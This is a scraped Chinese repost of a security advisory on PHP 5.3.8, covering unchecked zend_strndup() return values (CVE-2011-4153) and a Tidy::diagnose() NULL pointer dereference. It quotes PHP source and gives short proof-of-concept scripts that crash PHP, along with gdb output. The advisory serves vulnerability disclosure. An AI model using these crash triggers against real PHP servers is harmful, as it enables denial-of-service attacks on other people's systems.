好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

PHP 5.3.8多个缺陷及修复 - 网站安全 - 自学php

作者: Maksymilian Arciemowicz HdhCmsTest2cto测试数据 http://cxsecurity测试数据/   CVE: CVE-2011-4153 (zend_strndup)   组织连接: http://cxsecurity测试数据/research/103     [--- 1. Multiple NULL Pointer Dereference with zend_strndup() [CVE-2011-4153] ---] As we can see in zend_strndup()   - -zend_alloca.c--- ZEND_API char *zend_strndup(const char *s, uint length) {     char *p;       p = (char *) malloc(length+1);     if (UNEXPECTED(p == NULL)) {         return p; <=== RETURN NULL     }     if (length) {         memcpy(p, s, length);     }     p[length] = 0;     return p; } - -zend_alloca.c---   zend_strndup() may return NULL   in php code, many calls to zend_strndup() dosen't checks returned values. In result, places like:   - -zend_builtin_functions.c--- ZEND_FUNCTION(define) {     char *name;     int name_len;     zval *val;     zval *val_free = NULL;     zend_bool non_cs = 0;     int case_sensitive = CONST_CS;     zend_constant c;       if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sz|b", &name, &name_len, &val, &non_cs) == FAILURE) {         return;     } ...     c.flags = case_sensitive; /* non persistent */     c.name = zend_strndup(name, name_len); <======== MAY RETURN NULL     c.name_len = name_len+1;     c.module_number = PHP _USER_CONSTANT;     if (zend_register_constant(&c TSRMLS_CC) == SUCCESS) {         RETURN_TRUE;     } else {         RETURN_FALSE;     } } - -zend_builtin_functions.c---   - -PoC code--- [cx@82 /www]$ ulimit -a socket buffer size       (bytes, -b) unlimited core file size          (blocks, -c) unlimited data seg size           (kbytes, -d) 524288 file size               (blocks, -f) unlimited max locked memory       (kbytes, -l) unlimited max memory size         (kbytes, -m) 40000 open files                      (-n) 11095 pipe size            (512 bytes, -p) 1 stack size              (kbytes, -s) 65536 cpu time               (seconds, -t) unlimited max user processes              (-u) 5547 virtual memory          (kbytes, -v) 40000 swap size               (kbytes, -w) unlimited [cx@82 /www]$ cat define.php <?php define(str_repeat("A",$argv[1]),"a"); ?> - -PoC code---   to see difference   [cx@82 /www]$ php define.php 8999999 Out of memory [cx@82 /www]$ php define.php 9999999 Segmentation fault: 11   (gdb) bt #0  0x28745eb0 in strrchr () from /lib/libc.so.7 #1  0x0822d538 in zend_register_constant (c=0xbfbfcfb0)     at /usr/ports/lang/php5/work/php/Zend/zend_constants.c:429 #2  0x08251e0e in zif_define (ht=2, return_value=0x28825a98,     return_value_ptr=0x0, this_ptr=0x0, return_value_used=0)     at /usr/ports/lang/php5/work/php/Zend/zend_builtin_functions.c:688 #3  0x0826dba6 in zend_do_fcall_common_helper_SPEC (execute_data=0x29401040)     at zend_vm_execute.h:316     There are others places, where zend_strndup() is used:   - -1-- ext/soap/php_sdl.c             if (sdl->is_persistent) {                 new_enc->details.ns = zend_strndup(ns, ns_len);                 new_enc->details.type_str = strdup(new_enc->details.type_str);             } else {                 new_enc->details.ns = estrndup(ns, ns_len);                 new_enc->details.type_str = estrdup(new_enc->details.type_str);             } - -1--   - -2-- ext/standard/syslog.c     BG(syslog_device) = zend_strndup(ident, ident_len);     openlog(BG(syslog_device), option, facility);     RETURN_TRUE; - -2--   - -3-- ext/standard/browscap.c                 } else { /* Other than true/false setting */                     Z_STRVAL_P(new_property) = zend_strndup(Z_STRVAL_P(arg2), Z_STRLEN_P(arg2));                     Z_STRLEN_P(new_property) = Z_STRLEN_P(arg2);                 }                 new_key = zend_strndup(Z_STRVAL_P(arg1), Z_STRLEN_P(arg1));                 zend_str_tolower(new_key, Z_STRLEN_P(arg1));                 zend_hash_update(Z_ARRVAL_P(current_section), new_key, Z_STRLEN_P(arg1) + 1, &new_property, sizeof(zval *), NULL);                 free(new_key); - -3--   - -4-- ext/oci8/oci8.c         if (alloc_non_persistent) {             connection = (php_oci_connection *) ecalloc(1, sizeof(php_oci_connection));             connection->hash_key = estrndup(hashed_details.c, hashed_details.len);             connection->is_persistent = 0;         } else {             connection = (php_oci_connection *) calloc(1, sizeof(php_oci_connection));             connection->hash_key = zend_strndup(hashed_details.c, hashed_details.len);             connection->is_persistent = 1;         } - -4--   - -5-- ext/com_dotnet/com_typeinfo.c                 const_name = php_com_olestring_to_string(bstr_ids, &c.name_len, codepage TSRMLS_CC);                 c.name = zend_strndup(const_name, c.name_len);                 efree(const_name);                 c.name_len++; /* include NUL */                 SysFreeString(bstr_ids);                   /* sanity check for the case where the constant is already defined */                 if (zend_get_constant(c.name, c.name_len - 1, &exists TSRMLS_CC)) {                     if (COMG(autoreg_verbose) && !compare_function(&results, &c.value, &exists TSRMLS_CC)) {                         php_error_docref(NULL TSRMLS_CC, E_WARNING, "Type library constant %s is already defined", c.name);                     }                     free(c.name);                     ITypeInfo_ReleaseVarDesc(TypeInfo, pVarDesc);                     continue;                 } - -5--   - -6-- main/php_open_temporary_file.c     /* On Unix use the (usual) TMPDIR environment variable. */     {         char* s = getenv("TMPDIR");         if (s && *s) {             int len = strlen(s);               if (s[len - 1] == DEFAULT_SLASH) {                 temporary_directory = zend_strndup(s, len - 1);             } else {                 temporary_directory = zend_strndup(s, len);             }               return temporary_directory;         } - -6--     [--- 2. Tidy::diagnose() NULL pointer dereference ---] Class tidy, may provide to null pointer dereference using tidy lib.   1287    static PHP_FUNCTION(tidy_diagnose) 1288    { 1289    TIDY_FETCH_OBJECT; 1290   1291    if (tidyRunDiagnostics(obj->ptdoc->doc) >= 0) { 1292    tidy_doc_update_properties(obj TSRMLS_CC); 1293    RETURN_TRUE; 1294    } 1295   1296    RETURN_FALSE; 1297    }   - -PoC--- (gdb) r -r '$nx=new Tidy("*");$nx->diagnose();' The program being debugged has been started already. Start it from the beginning? (y or n) y   Starting program: /usr/bin/php -r '$nx=new Tidy("*");$nx->diagnose();' [Thread debugging using libthread_db enabled] PHP Warning:  tidy::__construct(): Cannot Load '*' into memory  in Command line code on line 1   Program received signal SIGSEGV, Segmentation fault. 0x00007fffedfaff87 in prvTidyReportMarkupVersion ()    from /usr/lib/libtidy-0.99.so.0 - -PoC---   - -结果HdhCmsTest2cto测试数据 --- cx@cx64:~$ php -r '$nx=new Tidy("*");$nx->diagnose();' PHP Warning:  tidy::__construct(): Cannot Load '*' into memory  in Command line code on line 1 Segmentation fault - -Result---   I do not consider this vulnerability as a having security impact other as DoS.

查看更多关于PHP 5.3.8多个缺陷及修复 - 网站安全 - 自学php的详细内容...

  阅读:33次